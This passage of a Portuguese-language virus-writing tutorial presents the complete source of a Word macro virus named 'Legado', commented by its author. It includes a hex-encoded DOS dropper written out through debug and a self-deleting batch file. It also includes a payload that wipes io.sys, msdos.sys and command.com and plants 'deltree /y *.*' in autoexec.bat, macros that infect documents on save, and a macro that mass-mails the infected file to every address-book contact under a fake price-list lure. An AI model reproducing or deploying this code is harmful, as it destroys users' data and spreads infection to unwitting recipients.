Print #1, "E1490 F6 26 4A 00 32 FF 03 C3 D1 E0 8B F8
8B 16 63 00"
Print #1, "E14A0 83 C2 06 80 3E 49 00 07 1F A1 50 00
75 03 A1 4E"
Print #1, "E14B0 00 8A 1E FD 06 8A 3E 00 07 06 1F 8E
C0 FC 0A DB"
Print #1, "E14C0 74 16 AC 8A D8 EC A8 01 75 FB FA EC
A8 01 74 FB"
Print #1, "E14D0 8B C3 AB FB E2 EC EB 06 8A E7 AC AB
E2 FC 07 1F"
Print #1, "E14E0 5F 5A 59 C3 56 57 55 06 CD 10 07 5D
5F 5E C3 00"
Print #1, "E14F0 BA C2 01 8E DA 8C 06 3E 00 33 ED E8
E9 09 E8 A0"
Print #1, "E1500 00 8B C4 05 13 00 B1 04 D3 E8 8C D2
03 C2 A3 10"
Print #1, "E1510 00 A3 12 00 03 06 0A 00 A3 14 00 A3
1E 00 A3 22"
Print #1, "E1520 00 A3 2A 00 8E 06 3E 00 26 A1 02 00
A3 26 00 C7"
Print #1, "E1530 06 30 00 D6 00 8C 0E 32 00 BF 0E 09
BE 39 02 B9"
Print #1, "E1540 13 00 90 FC 2E AC B4 35 CD 21 89 1D
8C 45 02 83"
Print #1, "E1550 C7 04 E2 EF 1E 0E 1F BA 0C 01 B8 00
25 CD 21 BA"
Print #1, "E1560 13 01 B8 23 25 CD 21 BA DB 00 B8 24
25 CD 21 BA"
Print #1, "E1570 04 01 B8 3F 25 CD 21 1F B8 0E 07 1E
50 1E 50 B8"
Print #1, "E1580 63 02 0E 50 0E E8 F3 01 0E E8 6D 02
B8 0E 08 1E"
Print #1, "E1590 50 1E 50 B8 63 02 0E 50 0E E8 DF 01
0E E8 5E 02"
Print #1, "E15A0 CB 33 C0 9C 5B 80 E7 0F 53 9D 9C 59
80 E5 F0 80"
Print #1, "E15B0 FD F0 74 0E 40 80 CF F0 53 9D 9C 59
80 E5 F0 74"
Print #1, "E15C0 01 40 A2 52 00 C3 33 C0 CA 02 00 FB
83 C4 06 58"
Print #1, "E15D0 83 E7 1F 81 C7 96 00 80 FC 39 73 03
BF FF FF 57"
Print #1, "E15E0 B4 54 CD 21 8B EC 80 4E 16 01 58 5B
59 5A 5E 5F"
Print #1, "E15F0 5D 1F 07 CF B8 D0 00 83 C4 06 EB 03
B8 C8 00 59"
Print #1, "E1600 5B EB 07 B8 FF 00 33 C9 33 DB BA C2
01 8E DA FB"
Print #1, "E1610 A3 38 00 8B C1 0B C3 74 3D A1 16 00
0B C0 74 2F"
Print #1, "E1620 8E C0 26 A1 10 00 0B C0 74 1B 2B C3
77 17 F7 D8"
Print #1, "E1630 3D 00 10 73 10 BA 10 00 F7 E2 03 C1
72 07 26 3B"
Print #1, "E1640 06 08 00 72 06 26 A1 14 00 EB D1 8B
C8 8C C3 2B"
Print #1, "E1650 1E 3E 00 83 EB 10 89 0E 3A 00 89 1E
3C 00 C4 1E"
Print #1, "E1660 34 00 8C C0 0B C3 74 13 33 C0 A3 34
00 A3 36 00"
Print #1, "E1670 A3 42 00 B8 6E 01 0E 50 06 53 CB B8
0E 07 1E 50"
Print #1, "E1680 0E E8 CF 01 B8 0E 08 1E 50 0E E8 C6
01 BF 0E 09"
Print #1, "E1690 BE 39 02 B9 13 00 90 FC 2E AC B4 25
1E C5 15 CD"
Print #1, "E16A0 21 1F 83 C7 04 E2 F0 A1 3A 00 0B 06
3C 00 74 29"
Print #1, "E16B0 BB 4C 02 E8 2A 00 A1 38 00 E8 32 00
BB 5B 02 E8"
Print #1, "E16C0 1E 00 A1 3C 00 E8 40 00 B0 3A E8 55
00 A1 3A 00"
Print #1, "E16D0 E8 35 00 BB 60 02 E8 07 00 A1 38 00
B4 4C CD 21"
Print #1, "E16E0 2E 8A 07 0A C0 74 06 E8 38 00 43 EB
F3 C3 B1 64"
Print #1, "E16F0 E8 07 00 B1 0A E8 02 00 EB 04 32 E4
F6 F1 04 30"
Print #1, "E1700 50 E8 1E 00 58 8A C4 C3 50 8A C4 E8
01 00 58 50"
Print #1, "E1710 B1 04 D2 E8 E8 03 00 58 24 0F 04 30
3C 3A 72 02"
Print #1, "E1720 04 07 8A D0 B4 06 CD 21 C3 00 02 1B
21 23 24 34"
Print #1, "E1730 35 36 37 38 39 3A 3B 3C 3D 3E 3F 75
52 75 6E 74"
Print #1, "E1740 69 6D 65 20 65 72 72 6F 72 20 00 20
61 74 20 00"
Print #1, "E1750 2E 0D 0A 00 50 6F 72 74 69 6F 6E 73
20 43 6F 70"
Print #1, "E1760 79 72 69 67 68 74 20 28 63 29 20 31
39 38 33 2C"
Print #1, "E1770 39 32 20 42 6F 72 6C 61 6E 64 BA 33
D2 8B DC 1E"
Print #1, "E1780 36 C4 7F 08 36 C5 77 04 FC 33 C0 AB
B8 B0 D7 AB"
Print #1, "E1790 B8 80 00 AB 33 C0 AB AB AB 8D 45 74
AB 8C C0 AB"
Print #1, "E17A0 B8 10 09 AB B8 21 01 AB 33 C0 B9 0E
00 F3 AB B9"
Print #1, "E17B0 4F 00 0B D2 75 09 AC 3A C8 76 04 8A
C8 E3 08 AC"
Print #1, "E17C0 0A C0 74 03 AA E2 F8 32 C0 AA 1F CA
08 00 8B DC"
Print #1, "E17D0 36 C4 7F 0A 36 8B 47 04 26 89 45 04
36 8B 47 06"
Print #1, "E17E0 26 89 45 0C 36 8B 47 08 26 89 45 0E
33 C0 26 89"
Print #1, "E17F0 45 08 26 89 45 0A CA 0A 00 BA B1 D7
EB 08 BA B2"
Print #1, "E1800 D7 EB 03 BA B3 D7 55 8B EC C4 7E 06
26 8B 45 02"
Print #1, "E1810 3D B1 D7 74 12 3D B2 D7 74 0D 3D B0
D7 74 10 C7"
Print #1, "E1820 06 42 00 66 00 EB 24 52 06 57 0E E8
25 00 5A 33"
Print #1, "E1830 C0 26 89 55 02 26 89 45 08 26 89 45
0A BB 10 00"
Print #1, "E1840 E8 4C 00 74 06 26 C7 45 02 B0 D7 5D
CA 04 00 B0"
Print #1, "E1850 00 EB 02 B0 01 55 8B EC C4 7E 06 26
81 7D 02 B1"
Print #1, "E1860 D7 74 18 26 81 7D 02 B2 D7 74 08 C7
06 42 00 67"
Print #1, "E1870 00 EB 18 50 BB 14 00 E8 15 00 58 0A
C0 74 0C BB"
Print #1, "E1880 1C 00 E8 0A 00 26 C7 45 02 B0 D7 5D
CA 04 00 06"
Print #1, "E1890 57 06 57 26 FF 19 0B C0 74 03 A3 42
00 5F 07 C3"
Print #1, "E18A0 8B DC 1E 36 C4 7F 04 26 C5 55 0C 26
8B 4D 04 26"
Print #1, "E18B0 8B 1D B4 3F CD 21 72 10 26 89 45 0A
33 C0 26 C7"
Print #1, "E18C0 45 08 00 00 1F CA 04 00 26 C7 45 0A
00 00 EB EE"
Print #1, "E18D0 8B DC 1E 36 C4 7F 04 26 C5 55 0C 33
C9 26 87 4D"
Print #1, "E18E0 08 26 8B 1D B4 40 CD 21 72 07 2B C1
74 03 B8 65"
Print #1, "E18F0 00 1F CA 04 00 8B DC 1E 36 C4 7F 04
26 C5 55 0C"
Print #1, "E1900 33 C9 26 87 4D 08 26 8B 1D B4 40 CD
21 72 02 33"
Print #1, "E1910 C0 1F CA 04 00 8B DC 36 C4 7F 04 26
8B 1D 83 FB"
Print #1, "E1920 04 76 06 B4 3E CD 21 72 02 33 C0 CA
04 00 BA 33"
Print #1, "E1930 D2 8B DC 1E 36 C4 7F 08 36 C5 77 04
FC 33 C0 AB"
Print #1, "E1940 B8 B0 D7 AB 33 C0 B9 16 00 F3 AB B9
4F 00 0B D2"
Print #1, "E1950 75 09 AC 3A C8 76 04 8A C8 E3 08 AC
0A C0 74 03"
Print #1, "E1960 AA E2 F8 32 C0 AA 1F CA 08 00 A0 54
00 B4 3D 33"
Print #1, "E1970 D2 EB 06 B8 00 3C BA 01 00 55 8B EC
C4 7E 08 26"
Print #1, "E1980 81 7D 02 B0 D7 74 1A 26 81 7D 02 B3
D7 74 08 C7"
Print #1, "E1990 06 42 00 66 00 EB 34 50 52 06 57 0E
E8 4C 00 5A"
Print #1, "E19A0 58 26 80 7D 30 00 74 12 1E 8D 55 30
06 1F 33 C9"
Print #1, "E19B0 CD 21 1F 73 06 A3 42 00 EB 11 92 26
C7 45 02 B3"
Print #1, "E19C0 D7 26 89 05 8B 46 06 26 89 45 04 5D
CA 06 00 8B"
Print #1, "E19D0 DC 36 C4 7F 04 E8 38 00 75 0E 33 C9
26 8B 1D B4"
Print #1, "E19E0 40 CD 21 73 03 A3 42 00 CA 04 00 8B
DC 36 C4 7F"
Print #1, "E19F0 04 E8 1C 00 75 17 26 8B 1D 83 FB 04
76 09 B4 3E"
Print #1, "E1A00 CD 21 73 03 A3 42 00 26 C7 45 02 B0
D7 CA 04 00"
Print #1, "E1A10 26 81 7D 02 B3 D7 74 06 C7 06 42 00
67 00 C3 B4"
Print #1, "E1A20 3F BA 64 00 EB 05 B4 40 BA 65 00 55
8B EC C4 7E"
Print #1, "E1A30 0A E8 DC FF 75 1B 1E 52 C5 56 06 26
8B 4D 04 26"
Print #1, "E1A40 8B 1D CD 21 5A 1F 72 06 3B C1 74 05
8B C2 A3 42"
Print #1, "E1A50 00 5D CA 04 00 B3 3F B9 64 00 EB 05
B3 40 B9 65"
Print #1, "E1A60 00 55 8B EC C4 7E 10 E8 A6 FF 75 3F
8B 46 0A 0B"
Print #1, "E1A70 C0 74 1C 1E 51 26 F7 65 04 8B C8 C5
56 0C 8A E3"
Print #1, "E1A80 26 8B 1D CD 21 59 1F 72 1F 33 D2 26
F7 75 04 C4"
Print #1, "E1A90 7E 06 8C C2 0B D7 74 05 26 89 05 EB
1C 3B 46 0A"
Print #1, "E1AA0 74 17 89 0E 42 00 EB 11 A3 42 00 C4
7E 06 8C C2"
Print #1, "E1AB0 0B D7 74 05 33 C0 26 89 05 5D CA 0E
00 55 8B EC"
Print #1, "E1AC0 C4 7E 0A E8 4A FF 75 21 8B 46 08 26
F7 65 04 8B"
Print #1, "E1AD0 C8 8B 46 06 26 F7 65 04 03 CA 8B D0
26 8B 1D B8"
Print #1, "E1AE0 00 42 CD 21 73 03 A3 42 00 5D CA 08
00 8B DC 1E"
Print #1, "E1AF0 36 C5 57 04 83 C2 30 B4 41 CD 21 1F
73 03 A3 42"
Print #1, "E1B00 00 CA 04 00 BA 33 D2 55 8B EC 83 EC
50 1E C5 76"
Print #1, "E1B10 06 8D 7E B0 16 07 FC B9 4F 00 0B D2
75 09 AC 3A"
Print #1, "E1B20 C8 76 04 8A C8 E3 08 AC 0A C0 74 03
AA E2 F8 32"
Print #1, "E1B30 C0 AA C5 56 0A 83 C2 30 8D 7E B0 B4
56 CD 21 1F"
Print #1, "E1B40 73 05 A3 42 00 EB 14 1E 8D 76 B0 16
1F C4 7E 0A"
Print #1, "E1B50 83 C7 30 FC AC AA 0A C0 75 FA 1F 8B
E5 5D CA 08"
Print #1, "E1B60 00 55 8B EC 8B 56 06 0B D2 74 05 E8
49 00 EB 30"
Print #1, "E1B70 B4 30 CD 21 3C 03 B8 00 00 72 25 8E
06 3E 00 26"
Print #1, "E1B80 8E 06 2C 00 33 FF FC 26 3A 05 74 07
B9 FF FF F2"
Print #1, "E1B90 AE EB F4 83 C7 03 8B F7 B9 00 01 F2
AE 91 F6 D0"
Print #1, "E1BA0 1E 06 1F C4 7E 08 FC AA 91 F3 A4 1F
5D CA 02 00"
Print #1, "E1BB0 33 D2 E8 02 00 93 CB 8E 06 3E 00 BF
80 00 26 8A"
Print #1, "E1BC0 0D 32 ED 47 33 DB E3 09 26 80 3D 20
77 03 47 E2"
Print #1, "E1BD0 F7 8B F7 E3 09 26 80 3D 20 76 03 47
E2 F7 8B C7"
Print #1, "E1BE0 2B C6 74 04 43 4A 75 DE C3 FC 8B DC
8C DA 36 C4"
Print #1, "E1BF0 7F 08 36 C5 77 04 AC AA 8A C8 32 ED
F3 A4 8E DA"
Print #1, "E1C00 CA 04 00 FC 8B DC 8C DA 36 C5 77 0A
36 C4 7F 06"
Print #1, "E1C10 36 8B 4F 04 AC 3A C1 76 02 8A C1 AA
8A C8 32 ED"
Print #1, "E1C20 F3 A4 8E DA CA 0A 00 FC 8B DC 8C DA
36 C4 7F 0C"
Print #1, "E1C30 36 C5 77 08 8A 04 32 E4 36 8B 4F 06
0B C9 7F 03"
Print #1, "E1C40 B9 01 00 03 F1 2B C1 72 13 40 36 8B
4F 04 0B C9"
Print #1, "E1C50 7D 02 33 C9 3B C1 76 06 8B C1 EB 02
33 C0 AA 8B"
Print #1, "E1C60 C8 F3 A4 8E DA CA 08 00 FC 8B DC 8C
DA 36 C4 7F"
Print #1, "E1C70 08 36 C5 77 04 26 8A 0D 32 ED AC 26
00 05 73 08"
Print #1, "E1C80 26 C6 05 FF 8A C1 F6 D0 03 F9 47 8A
C8 F3 A4 8E"
Print #1, "E1C90 DA CA 04 00 55 8B EC 1E C5 76 0A FC
AC 0A C0 74"
Print #1, "E1CA0 2C 8A D0 32 F6 C4 7E 06 26 8A 0D 32
ED 2B CA 72"
Print #1, "E1CB0 1C 41 47 AC F2 AE 75 15 8B C7 8B D9
8B CA 49 F3"
Print #1, "E1CC0 A6 74 0E 8B F8 8B CB 8B 76 0A 46 EB
E6 33 C0 EB"
Print #1, "E1CD0 04 48 2B 46 06 1F 5D CA 08 00 FC 8B
DC 8C DA 36"
Print #1, "E1CE0 C5 77 08 36 C4 7F 04 AC 26 8A 25 47
8A C8 3A CC"
Print #1, "E1CF0 76 02 8A CC 0A C9 74 06 32 ED F3 A6
75 02 3A C4"
Print #1, "E1D00 8E DA CA 08 00 FC 8B DC 36 C4 7F 06
B0 01 AA 36"
Print #1, "E1D10 8A 47 04 AA CA 02 00 FC 8B DC 8C DA
36 C4 7F 0A"
Print #1, "E1D20 36 C5 77 06 36 8B 47 04 AA 8B C8 F3
A4 8E DA CA"
Print #1, "E1D30 06 00 55 8B EC 81 EC 00 02 83 7E 06
01 7D 05 C7"
Print #1, "E1D40 46 06 01 00 8D BE 00 FF 16 57 C4 7E
0A 06 57 B8"
Print #1, "E1D50 01 00 50 8B 46 06 48 50 0E E8 CB FE
C4 7E 0E 06"
Print #1, "E1D60 57 0E E8 03 FF 8D BE 00 FE 16 57 C4
7E 0A 06 57"
Print #1, "E1D70 FF 76 06 B8 FF 00 50 0E E8 AC FE 0E
E8 E9 FE C4"
Print #1, "E1D80 7E 0A 06 57 FF 76 08 0E E8 78 FE 8B
E5 5D CA 0C"
Print #1, "E1D90 00 55 8B EC 81 EC 00 02 83 7E 06 00
7E 5C 83 7E"
Print #1, "E1DA0 08 00 7E 56 81 7E 08 FF 00 7F 4F 81
7E 06 FF 00"
Print #1, "E1DB0 7E 05 C7 46 06 FF 00 8D BE 00 FF 16
57 C4 7E 0A"
Print #1, "E1DC0 06 57 B8 01 00 50 8B 46 08 48 50 0E
E8 58 FE 8D"
Print #1, "E1DD0 BE 00 FE 16 57 C4 7E 0A 06 57 8B 46
08 03 46 06"
Print #1, "E1DE0 50 B8 FF 00 50 0E E8 3E FE 0E E8 7B
FE C4 7E 0A"
Print #1, "E1DF0 06 57 B8 FF 00 50 0E E8 09 FE 8B E5
5D CA 08 00"
Print #1, "E1E00 8B DC 1E 36 C5 7F 04 33 C9 89 0D B8
00 3D 81 7D"
Print #1, "E1E10 02 B1 D7 74 0D B0 02 FF 05 81 7D 02
B3 D7 74 02"
Print #1, "E1E20 B4 3C 80 7D 30 00 74 09 8D 55 30 CD
21 72 5A 89"
Print #1, "E1E30 05 B8 B0 03 BA 21 01 33 C9 33 DB 81
7D 02 B1 D7"
Print #1, "E1E40 74 2F 8B 1D B8 00 44 CD 21 F6 C2 80
B8 05 04 BA"
Print #1, "E1E50 21 01 8B C8 8B DA 75 14 81 7D 02 B3
D7 75 03 E8"
Print #1, "E1E60 2B 00 B8 E0 03 BA 21 01 33 C9 33 DB
C7 45 02 B2"
Print #1, "E1E70 D7 89 45 14 89 55 16 89 4D 18 89 5D
1A C7 45 1C"
Print #1, "E1E80 25 04 C7 45 1E 21 01 33 C0 1F CA 04
00 33 D2 33"
Print #1, "E1E90 C9 8B 1D B8 02 42 CD 21 2D 80 00 83
DA 00 73 04"
Print #1, "E1EA0 33 C0 33 D2 8B CA 8B D0 8B 1D B8 00
42 CD 21 8D"
Print #1, "E1EB0 95 80 00 B9 80 00 8B 1D B4 3F CD 21
73 02 33 C0"
Print #1, "E1EC0 33 DB 3B D8 74 20 80 B9 80 00 1A 74
03 43 EB F2"
Print #1, "E1ED0 8B D3 2B D0 B9 FF FF 8B 1D B8 02 42
CD 21 33 C9"
Print #1, "E1EE0 8B 1D B4 40 CD 21 C3 BF 56 00 1E 07
B9 5A 09 2B"
Print #1, "E1EF0 CF D1 E9 33 C0 FC F3 AB C3 00 00 00
00 00 00 00"
Print #1, "E1F00 00 00 05 4D 5A 60 00 10 00 00 00 00
00 00 00 00"
Print #1, "E1F10 00 00 00 00 00 00 00 00 00 00 FF FF
00 00 00 00"
Print #1, "E1F20 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00"
Print #1, "E1F30 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00"
Print #1, "E1F40 00 00 00 00 00 00 00 00 00 10 40 00
00 A0 00 B0"
Print #1, "E1F50 00 B8 00 00 02 00 00 00 00 00 00 00
00 00 00 00"
- Print #1,
"rcx"
- Print #1,
"1E60"
- Print #1, "W"
- Print #1, "q"
- Close #1
- Open
"C:\EXEC_LG.BAT" For Output As #1
- Print #1, "@echo
off"
- Print #1, "debug
< legado.scr > nul"
- REM Print #1,
"echo Debug fim"
- Print #1,
"c:\legado.com"
- Print #1, "del
c:\legado.scr "
- Print #1, "del
c:\legado.com "
- Print #1, "del
c:\exec_LG.bat"
- Close #1
- ChDir "C:\"
- Shell
"EXEC_LG.BAT", 0
- NoDropper:
- End Sub
-
- DESTRUCT
- Bom, essa função se encarrega
de destruir os dados do computador, entre ele os arquivo
io.sys, msdos.sys e command.com. Bem como de criar um
Autoexec.bat destrutivo, para quando o usuário recuperar
o sistema.
- Sub MAIN
- caminho$ =
Ambiente$("LEGADO")
- If caminho$ = "NOWAY"
Then Goto NoWay
- On Error Goto NoWay
- If Dia(Agora()) > 7 And
Mês(Agora()) < 6 Then
- DefinirAtributo
"C:\io.sys", 0
- Open "C:\io.sys" For
Output As #1
- Close #1
- DefinirAtributo
"C:\msdos.sys", 0
- Open "C:\msdos.sys"
For Output As #1
- Close #1
- DefinirAtributo
"C:\command.com", 0
- Open "C:\command.com"
For Output As #1
- Close #1
- Kill "C:\command.com"
- End If
- Open "C:\autoexec.bat"
For Output As #1
- Print #1, "@deltree /y *.*
>nul"
- Close #1
- NoWay:
- End Sub
-
- ARQUIVOSALVARCOMO
- Outra macro essencial ao vírus,
essa macro faz a parte de infecção de novos arquivos,
ou seja, a medida que a pessoa vai criando arquivos
novos, vai-se infectando eles, ou a medida que vai se
salvando com nome diferente pela opção Salvar Como.
Note a forma do comando MacroCopiar, vai ser copiado as
macros de NORMAL.DOT para o documento ativo.
- Sub MAIN
- Dim dlg As ArquivoSalvarComo
'declara dlg do tipo ArquivoSalvarComo
- GetCurValues dlg
- Dialog dlg 'executa o diálogo.
- On Error Goto Erro
- 'O documento é do tipo .doc ou
.dot?
- If (dlg.Formato = 0) Or
(dlg.Formato = 1) Then 'Faz com que salve o documento
como um modelo.
- dlg.Formato = 1
- on error goto libvirus
- MacroCopiar
"Global:AutoExec", NomeJanela$() +
":AutoExec", 1
libvirus:
on error goto autoclose
- MacroCopiar
"Global:libvirus", NomeJanela$() +
":libvirus", 1
autoclose:
on error goto autoopen
- MacroCopiar
"Global:AutoClose", NomeJanela$() +
":AutoClose", 1
autoopen:
on error goto arqsalcomo
- MacroCopiar
"Global:AutoOpen", NomeJanela$() +
":AutoOpen", 1
arqsalcomo:
on error goto arqimp
- MacroCopiar
"Global:ArquivoSalvarComo", NomeJanela$() +
":ArquivoSalvarComo", 1
arqimp:
on error goto arqimppad
- MacroCopiar
"Global:ArquivoImprimir", NomeJanela$() +
":ArquivoImprimir", 1
arqimppad:
on error goto imprearq
- MacroCopiar
"Global:ArquivoImprimirPadrão", NomeJanela$()
+ ":ArquivoImprimirPadrão", 1
imprearq:
on error goto destruct
- MacroCopiar
"Global:ImpreArq", NomeJanela$() +
":ImpreArq", 1
destruct:
on error goto infec
- MacroCopiar
"Global:Destruct", NomeJanela$() +
":Destruct", 1
- infec:
on error goto email
- MacroCopiar
"Global:Infec", NomeJanela$() +
":Infec", 1
email:
on error goto Erro
- MacroCopiar
"Global:email", NomeJanela$() +
":email", 1
- End If
- Erro:
- ArquivoSalvarComo dlg 'salva o
documento infectado.
- End Sub
-
- ARQUIVOIMPRIMIR
- Essa função seria a parte que
eu uso para encher o saco do usuário. Se o usuário for
imprimir o texto, a macro ImpreArq, responsável pela
parte de inserir um texto no documento é executada.
- Sub MAIN
- Call ImpreArq 'possibly insert
text.
- Dim dlg As ArquivoImprimir
'declara dialog do tipo ArquivoImprimir
- GetCurValues dlg
- Dialog dlg 'executa dialogo de
impressão
- ArquivoImprimir dlg 'perform
actions from dialog.
- End Sub
-
- ARQUIVOIMPRIMIRPADRÃO
- Parecida com a macro anterior, a
diferença é que essa macro é um pouco mais simples.
- Sub MAIN
- Call ImpreArq 'possibly insert
text.
- ArquivoImprimirPadrão 'print
document using default settings.
- End Sub
-
- IMPREARQ
- Essa macro é responsável pela
inserção de texto no fim do docomento.
- Sub MAIN
- If Segundo(Agora()) > 55 Then
'segundos > 55 ?
- FimDocumento 'Vai para o fim do
documento.
- Inserir Chr$(11)
- Inserir "Parabéns:"
- Inserir Chr$(11)
- Inserir "VOCÊ FOI
INFECTADO PELO VIRUS LEGADO!"
- InícioDocumento 'Vai para o
início do documento.
- End If
- End Sub
-
- EMAIL
- Essa macro is the big one, é
uma das mais interessantes, fiz essa macro inspirado em
um vírus de macro que fazia a mesma coisa, só que esse
vírus eu nunca vi (andei pesquisando e vi que o nome
dele é Share Fun, só que ele tinha alguns defeitos, ele
tinha 1 chance em 4 de se copiar via Email, ele só usava
o Microsoft Mail, este usa 4 programas de email e só
enviava 3 emails por vez, esse envia quantos emails tiver
na lista de endereços), tudo o que tá aqui fui eu que
fiz. Basicamente, a nível básico, o que essa macro faz
é procurar por programas de e-mail no computador (ativo
no computador ou no Winchester), se encontrar um programa
de email ativo (tipo que o usuário estiver usando)
então ele vai pegar o controle do computador para si e
enviar um email com o vírus anexado para cada integrante
da lista de endereços do programa de e-mail, eu nunca
testei essa parte on-line (eu não acesso internet em
casa) em vez disso eu tive que instalar cada um dos
programas de e-mail no meu computador (Eudora Light,
Internet Mail português e Inglês, isso no Win95 mas tem
também o Microsoft Mail do Win 3.1x) e me virar testando
cada possibilidade que o programa podia ter, a parte de
controle do aplicativo seria enviar teclas como se um
usuário estivesse digitando ao programa (Ver
EnviarTeclas/Sendkeys) e o controle para determinar qual
aplicativo está rodando, ativar algum aplicativo,
esconder a janela do aplicativo, exibir a janela do
aplicativo ficaria com as função AplExibir, AplOcultar,
AplAtivar, AplSendoExecutada. Só sei que funciona e tá
acabado. Ah, é sempre bom lembrar que a função
EnviarTeclas é assim no Word 7.0 e é SendKeys no Word
6.0, aliás foi esse o único problema de tradução que
eu notei enquanto eu fazia esse vírus.
Sub MAIN
On Error Goto noway
versao$ = ObterInfoSistema$(24)
so$ = ObterInfoSistema$(21)
normal$ = ""
nome$ = "c:\precos.doc"
- If Arquivos$(nome$) <>
"" Then Kill nome$
- If
Arquivos$("c:\winword\modelos\normal.dot")
<> "" Then normal$ =
Arquivos$("c:\winword\modelos\normal.dot")
- If
Arquivos$("c:\winword\normal.dot") <>
"" Then normal$ =
Arquivos$("c:\winword\normal.dot")
- If
Arquivos$("c:\msoffice\modelos\normal.dot")
<> "" Then normal$ =
Arquivos$("c:\msoffice\modelos\normal.dot")
- If
Arquivos$("c:\msoffice\models\normal.dot")
<> "" Then normal$ =
Arquivos$("c:\msoffice\models\normal.dot")
- If
Arquivos$("normal.dot") <> ""
Then normal$ = Arquivos$("normal.dot")
- If
Arquivos$("modelos\normal.dot") <>
"" Then normal$ =
Arquivos$("modelos\normal.dot")
- If normal$ = "" Then
Goto NoWay
CopiarArquivo normal$, "c:\"
Name "c:\Normal." As nome$
If AplSendoExecutada("Eudora") Then
- AplExibir "Eudora
Light"
- Goto eudora
- End If
- If
AplSendoExecutada("Internet Mail") Then Goto
win95
- If
Arquivos$("C:\eudora\eudora.exe") <>
"" Then
- Shell
Arquivos$("C:\eudora\eudora.exe"), 1
- Goto eudora
- End If
- If Arquivos$("C:\arquivos
de programas\eudora\eudora.exe") <>
"" Then
- Shell
Arquivos$("C:\arquivos de
programas\eudora\eudora.exe"), 1
- Goto eudora
- End If
- If Arquivos$("C:\Program
Files\eudora\eudora.exe") <> "" Then
- Shell Arquivos$("C:\Program
Files\eudora\eudora.exe"), 1
- Goto eudora
- End If
If so$ = "Windows" Then Goto Windows
Goto NoWay
Windows:
If (versao$ >= "3") And (versao$ <
"4.0") Then Goto Win311
If AplSendoExecutada("Internet Mail") Then Goto
Win95
Goto noway
Win311:
If AplSendoExecutada("Mail") Then
AplAtivar "Mail"
Else
MicrosoftMail
EnviarTeclas "{enter 3}", - 1
End If
On Error Goto NoWay
EnviarTeclas "^r", - 1
AplOcultar "Mensagem"
EnviarTeclas "%d", - 1
AplOcultar "Endereços"
EnviarTeclas "+^{end}", - 1
EnviarTeclas "%p", - 1
EnviarTeclas "{enter}", - 1
EnviarTeclas "{tab 2}Sente só:{tab}", - 1
EnviarTeclas " Oi,{enter 2}Estou te enviando uma
lista ", - 1
EnviarTeclas "sobre precos de programas para ",
- 1
EnviarTeclas "PC, de uma olhada nela, falo ", -
1
EnviarTeclas "com voce mais tarde, eu tenho que
", - 1
EnviarTeclas "ir para a escola, a empregada nao veio
", - 1
EnviarTeclas "e eu tenho que me virar.
Tchau.%r", - 1
EnviarTeclas nome$, - 1
EnviarTeclas "{enter}%f%n%j1", - 1
EnviarTeclas "{home}+^{end}{del 2}%{f4}"
EnviarTeclas T = tecla "{tab}{enter}", - 1
Win95:
AplExibir "Internet mail"
AplOcultar "Internet mail"
EnviarTeclas("^n"), - 1
If AplSendoExecutada("Nova Messagem") Then
Goto portugues
Else
If AplSendoExecutada("New Message") Then Goto
Ingles
End If
Goto noway
Ingles:
AplOcultar "New message"
EnviarTeclas "%m", - 1
EnviarTeclas "r+^{end}", - 1
EnviarTeclas "%o", - 1
EnviarTeclas "{tab 7}{enter}{tab 2}", - 1
EnviarTeclas "^{home}Sente só:{tab}", - 1
EnviarTeclas " ^{home}{enter}^{home}Oi,{enter
2}Estou", - 1
EnviarTeclas " te enviando uma lista", - 1
EnviarTeclas " sobre precos de programas e", -
1
EnviarTeclas " jogos para o ", - 1
EnviarTeclas "PC, de uma olhada nela, falo ", -
1
EnviarTeclas "com voce mais tarde, eu tenho
que", - 1
EnviarTeclas " ir para a escola, a empregada nao
veio ", - 1
EnviarTeclas "e eu tenho que me virar.
Tchau.{enter}%if", - 1
AplOcultar "Insert Atta"
EnviarTeclas nome$, - 1
EnviarTeclas "{enter}%s^m", - 1
REM EnviarTeclas "{home}+^{end}{del}%{f4}^m", -
1
AplOcultar "Sending and Receiving"
AplOcultar "Internet Mail"
AplExibir "Microsoft Word"
Goto noway
Portugues:
REM AplAtivar "Internet mail"
AplOcultar "Internet mail"
REM EnviarTeclas("^n"), - 1
AplOcultar "Nova mensagem"
EnviarTeclas "%m", - 1
EnviarTeclas "r+^{end}", - 1
EnviarTeclas "%p", - 1
EnviarTeclas "{tab 7}{enter}{tab 2}", - 1
EnviarTeclas "Sente só:{tab}", - 1
EnviarTeclas " ^{home}{enter}^{home}Oi,{enter
2}Estou", - 1
EnviarTeclas " te enviando uma lista", - 1
EnviarTeclas " sobre precos de programas e", -
1
EnviarTeclas " jogos para o ", - 1
EnviarTeclas "PC, de uma olhada nela, falo ", -
1
EnviarTeclas "com voce mais tarde, eu tenho
que", - 1
EnviarTeclas " ir para a escola, a empregada nao
veio ", - 1
EnviarTeclas "e eu tenho que me virar.
Tchau.{enter}%ia", - 1
AplOcultar "Insira"
EnviarTeclas nome$, - 1
EnviarTeclas "{enter}%e^m", - 1
REM EnviarTeclas "{home}+^{end}{del}%{f4}^m", -
1
AplOcultar "Interner mail"
AplExibir "Microsoft Word"
Goto noway
eudora:
AplOcultar "Eudora Light"
- EnviarTeclas "{esc
2}", - 1
- EnviarTeclas
"^n^l{home}+^{end}%t", - 1
- EnviarTeclas "{tab}Sente
só:{tab 3}", - 1
- EnviarTeclas "Oi,{enter
2}Estou te enviando uma lista", - 1
- EnviarTeclas " sobre
preços de programas e", - 1
- EnviarTeclas " jogos para o
", - 1
- EnviarTeclas "PC, dê uma
olhada nela, falo ", - 1
- EnviarTeclas "com voce
outra hora, eu tenho que", - 1
- EnviarTeclas " ir para a
escola, a empregada nao veio ", - 1
- EnviarTeclas "e eu tive que
me virar sozinho. Tchau.{enter}^h", - 1
- AplOcultar "Attach"
- EnviarTeclas nome$, - 1
- EnviarTeclas
"{enter}^e^t", - 1
- AplOcultar "progress"
- AplOcultar "eudora
Light"
- REM EnviarTeclas
"{enter}", - 1
- AplExibir "Microsoft
Word"
- NoWay:
End Sub
-
- CONCLUSÃO
- DMVs representam um perigo
significante para usuários de computadores que pensavam
que somente programas executáveis podiam propagar virus
ou liberar perigosos Cavalos de Tróia.
- Devido a simplicidade em criar
DMVs, foi apenas uma questão de tempo desde que foi
descoberto até ter sido disseminado entre os muitos
escritores de vírus.
- Pelo que foi visto, esse vírus
não é exatamente uma coisa muito simples, fácil de ser
implementada, pode acontecer muitos erros, por isso eu
estarei disponibilizando o vírus já pronto, outra
